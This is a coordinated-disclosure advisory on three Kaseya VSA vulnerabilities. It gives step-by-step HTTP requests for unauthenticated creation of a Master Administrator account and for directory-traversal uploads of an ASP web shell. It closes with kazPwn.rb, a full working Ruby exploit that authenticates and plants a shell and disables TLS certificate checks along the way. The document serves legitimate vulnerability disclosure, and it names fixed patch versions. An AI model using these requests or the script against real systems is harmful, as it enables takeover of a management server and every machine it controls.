Kaseya Virtual System Administrator (VSA) – Multiple Vulnerabilities (2)
Kaseya VSA is an IT management platform for small and medium corporates. From its console you can control thousands of computers and mobile devices. So that if you own the Kaseya server, you own the organisation. With this post I'm also releasing two Metasploit modules ([E1], [E2]) and a Ruby file ([E3]) that exploit the vulnerabilities described below. A special thanks to ZDI for assisting with the disclosure of these vulnerabilities. The full advisory text is below, but can also be obtained from my repo at [E4]. [E1] https://github.com/rapid7/metasploit-framework/pull/6018 [E2] https://github.com/rapid7/metasploit-framework/pull/6019 [E3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb [E4] https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vs a-vuln-2.txt Regards, Pedro ============ >> Multiple vulnerabilities in Kaseya Virtual System Administrator >> Discovered by Pedro Ribeiro (pedrib (at) gmail (dot) com [email concealed]), Agile Information Security (http://www.agileinfosec.co.uk/) ======================================================================== == Disclosure: 23/09/2015 / Last updated: 28/09/2015 >> Background on the affected product: "Kaseya VSA is an integrated IT Systems Management platform that can be leveraged seamlessly across IT disciplines to streamline and automate your IT services. Kaseya VSA integrates key management capabilities into a single platform. Kaseya VSA makes your IT staff more productive, your services more reliable, your systems more secure, and your value easier to show." A special thanks to ZDI for assisting with the vulnerability reporting process. These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1], ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015. >> Technical details: #1 Vulnerability: Remote privilege escalation (add Master Administrator account - unauthenticated) CVE-2015-6922 / ZDI-15-448 Affected versions: VSA Version 7.0.0.0 â?? 7.0.0.32 VSA Version 8.0.0.0 â?? 8.0.0.22 VSA Version 9.0.0.0 â?? 9.0.0.18 VSA Version 9.1.0.0 â?? 9.1.0.8 GET /LocalAuth/setAccount.aspx Page will attempt to redirect, ignore this and obtain the "sessionVal" value from the page which will be used in the following POST request. POST /LocalAuth/setAccount.aspx sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&conf irm=<password>&adminEmail=bla (at) bla (dot) com [email concealed]&setAccount=Create You are now a Master Administrator and can execute code in all the managed desktops and mobile devices. A Metasploit module that exploits this vulnerability has been released. #2 Vulnerability: Remote code execution via file upload with directory traversal (unauthenticated) CVE-2015-6922 / ZDI-15-449 Affected versions: VSA Version 7.0.0.0 â?? 7.0.0.32 VSA Version 8.0.0.0 â?? 8.0.0.22 VSA Version 9.0.0.0 â?? 9.0.0.18 VSA Version 9.1.0.0 â?? 9.1.0.8 First we do: GET /ConfigTab/serverfiles.asp which will respond with a 302 redirect to /mainLogon.asp?logout=<sessionID> Thanks for creating a valid sessionID for us, Kaseya! POST /ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=she ll.asp Cookie: sessionId=<sessionID> <... ASP shell here...> The path needs to be correct, but Kaseya is helpful enough to let us know when a path doesn't exist. A Metasploit module that exploits this vulnerability has been released. #3 Vulnerability: Remote code execution via file upload with directory traversal (authenticated) CVE-2015-6589 / ZDI-15-450 Affected versions: VSA Version 7.0.0.0 â?? 7.0.0.32 VSA Version 8.0.0.0 â?? 8.0.0.22 VSA Version 9.0.0.0 â?? 9.0.0.18 VSA Version 9.1.0.0 â?? 9.1.0.8 Login to the VSA console and obtain ReferringWebWindowId from the URL (wwid parameter). Create a POST request as below with the ReferringWebWindowId: POST /vsapres/web20/json.ashx HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------114052411119142 Content-Length: 1501 -----------------------------114052411119142 Content-Disposition: form-data; name="directory" ../WebPages -----------------------------114052411119142 Content-Disposition: form-data; name="ReferringWebWindowId" 31a5d16a-01b7-4f8d-adca-0b2e70006dfa -----------------------------114052411119142 Content-Disposition: form-data; name="request" uploadFile -----------------------------114052411119142 Content-Disposition: form-data; name="impinf__uploadfilelocation"; filename="shell.asp" Content-Type: application/octet-stream <... ASP shell here...> -----------------------------114052411119142-- A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been been released [4]. >> Fix: V7 â?? Install patch 7.0.0.33 R8 â?? Install patch 8.0.0.23 R9 â?? Install patch 9.0.0.19 R9.1 â?? Install patch 9.1.0.9 >> References: [1] http://zerodayinitiative.com/advisories/ZDI-15-448/ [2] http://zerodayinitiative.com/advisories/ZDI-15-449/ [3] http://zerodayinitiative.com/advisories/ZDI-15-450/ [4] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBAgAGBQJWCm9DAAoJEOToNW8ubuEaXLAQAIXcXSYwxJ5YLD0eyDxSO8z3 Vxmzf1jKqCHgTblKfW2+AaAhV7Z6u0fcjw4axV0TiRCUJgp3RANo2DkEjbrP/Pv2 L4Yk34FM0ijfgg5x6rG7M8496jm91iEYpoYcCpsnqE0ZN1RbQZWmqWjJHpVPcPno RgjNV/OHGBzaikj5BV1yaJwT/KpvV0IGUDB54ZPto8lEYtqxfYl4+zg39DQ+GlRy OlU+Bovj/n2AiJ52omdm1JJL3DW6rhto8FH7yRUvBeW3ofgdBHwG4Ynxk3gOAhY3 AvD2uIs5eY5siapb7/kA8RSKKuTUYo/p80hDwhkAzVYwlrkDTl7s9gSPU/KOY04/ ur64fhC/9TTEMONZ5PQdbrL5WSAVRTdcsCDbZ8YCbZxoexPzObhdV1qV99Go8Ny+ pd5WCoziQtrK8r2u6v7dsfJfYnvURG7SdcD15e1oIe4OaZzEsXxbcgLEmbskhdOP ZmcuzkYqUfpFvaFQ3O8PMtBb8jqpkt76X4Q+0JbVG9nUzwA1nS2xoGw0Ad8NDoUi Nw5BxwW4Z7zCSHgBI6CYUTZQ0QvZFVZXOkix6+GnslzDwXu6m1cnY+PXa5K5jJtm /BMO8WVUvwPdUAeRMTweggoXOModWC/56BZNgquxTkayz2r9c7AdEr0aZDLYIxr0 OHLrGsL5XSDW9txZqDl9 =rF0G -----END PGP SIGNATURE----- #!/usr/bin/ruby # # kazPwn.rb - Kaseya VSA v7 to v9.1 authenticated arbitrary file upload (CVE-2015-6589 / ZDI-15-450) # =================== # by Pedro Ribeiro <pedrib@gmail.com> / Agile Information Security # Disclosure date: 28/09/2015 # # Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp> # # execjs and mechanize gems are required to run this exploit # # According to Kaseya's advisory, this exploit should work for the following VSA versions: # VSA Version 7.0.0.0 – 7.0.0.32 # VSA Version 8.0.0.0 – 8.0.0.22 # VSA Version 9.0.0.0 – 9.0.0.18 # VSA Version 9.1.0.0 – 9.1.0.8 # This exploit has been tested with v8 and v9. # # Check out these two companion vulnerabilities, both of which have Metasploit modules: # - Unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449) # - Unauthenticated remote privilege escalation (CVE-2015-6922 / ZDI-15-448) # # This code is released under the GNU General Public License v3 # http://www.gnu.org/licenses/gpl-3.0.html # require 'execjs' require 'mechanize' require 'open-uri' require 'uri' require 'openssl' # avoid certificate errors OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE I_KNOW_THAT_OPENSSL_VERIFY_PEER_EQUALS_VERIFY_NONE_IS_WRONG = nil # Fixes a Mechanize bug, see # http://scottwb.com/blog/2013/11/09/defeating-the-infamous-mechanize-too-many-connection-resets-bug/ class Mechanize::HTTP::Agent MAX_RESET_RETRIES = 10 # We need to replace the core Mechanize HTTP method: # # Mechanize::HTTP::Agent#fetch # # with a wrapper that handles the infamous "too many connection resets" # Mechanize bug that is described here: # # https://github.com/sparklemotion/mechanize/issues/123 # # The wrapper shuts down the persistent HTTP connection when it fails with # this error, and simply tries again. In practice, this only ever needs to # be retried once, but I am going to let it retry a few times # (MAX_RESET_RETRIES), just in case. # def fetch_with_retry( uri, method = :get, headers = {}, params = [], referer = current_page, redirects = 0 ) action = "#{method.to_s.upcase} #{uri.to_s}" retry_count = 0 begin fetch_without_retry(uri, method, headers, params, referer, redirects) rescue Net::HTTP::Persistent::Error => e # Pass on any other type of error. raise unless e.message =~ /too many connection resets/ # Pass on the error if we've tried too many times. if retry_count >= MAX_RESET_RETRIES puts "**** WARN: Mechanize retried connection reset #{MAX_RESET_RETRIES} times and never succeeded: #{action}" raise end # Otherwise, shutdown the persistent HTTP connection and try again. # puts "**** WARN: Mechanize retrying connection reset error: #{action}" retry_count += 1 self.http.shutdown retry end end # Alias so #fetch actually uses our new #fetch_with_retry to wrap the # old one aliased as #fetch_without_retry. alias_method :fetch_without_retry, :fetch alias_method :fetch, :fetch_with_retry end if ARGV.length < 4 puts 'Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>' exit -1 end host = ARGV[0] username = ARGV[1] password = ARGV[2] shell_file = ARGV[3] login_url = host + '/vsapres/web20/core/login.aspx' agent = Mechanize.new # 1- go to the login URL, get a session cookie and the challenge. page = agent.get(login_url) login_form = page.forms.first challenge = login_form['loginFormControl$ChallengeValueField'] # 2- calculate the password hashes with the challenge source = open(host + "/inc/sha256.js").read source += open(host + "/inc/coverPass.js").read source += open(host + "/inc/coverPass256.js").read source += open(host + "/inc/coverData.js").read source += open(host + "/inc/passwordHashes.js").read source.gsub!(/\<\!--(\s)*\#include.*--\>/, "") # remove any includes, this causes execjs to fail context = ExecJS.compile(source) hashes = context.call("getHashes",username,password,challenge) # 3- submit the login form, authenticate our cookie and get the ReferringWebWindowId needed to upload the file # We need the following input values to login: # - __EVENTTARGET (empty) # - __EVENTARGUMENT (empty) # - __VIEWSTATE (copied from the original GET request) # - __VIEWSTATEENCRYPTED (copied from the original GET request; typically empty) # - __EVENTVALIDATION (copied from the original GET request) # - loginFormControl$UsernameTextbox (username) # - loginFormControl$PasswordTextbox (empty) # - loginFormControl$SubmitButton (copied from the original GET request; typically "Logon") # - loginFormControl$SHA1Field (output from getHashes) # - loginFormControl$RawSHA1Field (output from getHashes) # - loginFormControl$SHA256Field (output from getHashes) # - loginFormControl$RawSHA256Field (output from getHashes) # - loginFormControl$ChallengeValueField (copied from the original GET request) # - loginFormControl$TimezoneOffset ("0") # - loginFormControl$ScreenHeight (any value between 800 - 2048) # - loginFormControl$ScreenWidth (any value between 800 - 2048) login_form['__EVENTTARGET'] = '' login_form['__EVENTARGUMENT'] = '' login_form['loginFormControl$UsernameTextbox'] = username login_form['loginFormControl$SHA1Field'] = hashes['SHA1Hash'] login_form['loginFormControl$RawSHA1Field'] = hashes['RawSHA1Hash'] login_form['loginFormControl$SHA256Field'] = hashes['SHA256Hash'] login_form['loginFormControl$RawSHA256Field'] = hashes['RawSHA256Hash'] login_form['loginFormControl$TimezoneOffset'] = 0 login_form['loginFormControl$SubmitButton'] = 'Logon' login_form['loginFormControl$screenHeight'] = rand(800..2048) login_form['loginFormControl$screenWidth'] = rand(800..2048) page = agent.submit(login_form) web_windowId = Hash[URI::decode_www_form(page.uri.query)]['ReferringWebWindowId'] # 4- upload the file using the ReferringWebWindowId page = agent.post('/vsapres/web20/json.ashx', 'directory' => "../WebPages", 'ReferringWebWindowId' => web_windowId, 'request' => 'uploadFile', 'impinf__uploadfilelocation' => File.open(shell_file) ) if page.code == "200" puts "Shell uploaded, check " + host + "/" + File.basename(shell_file) else puts "Error occurred, shell was not uploaded correctly..." end |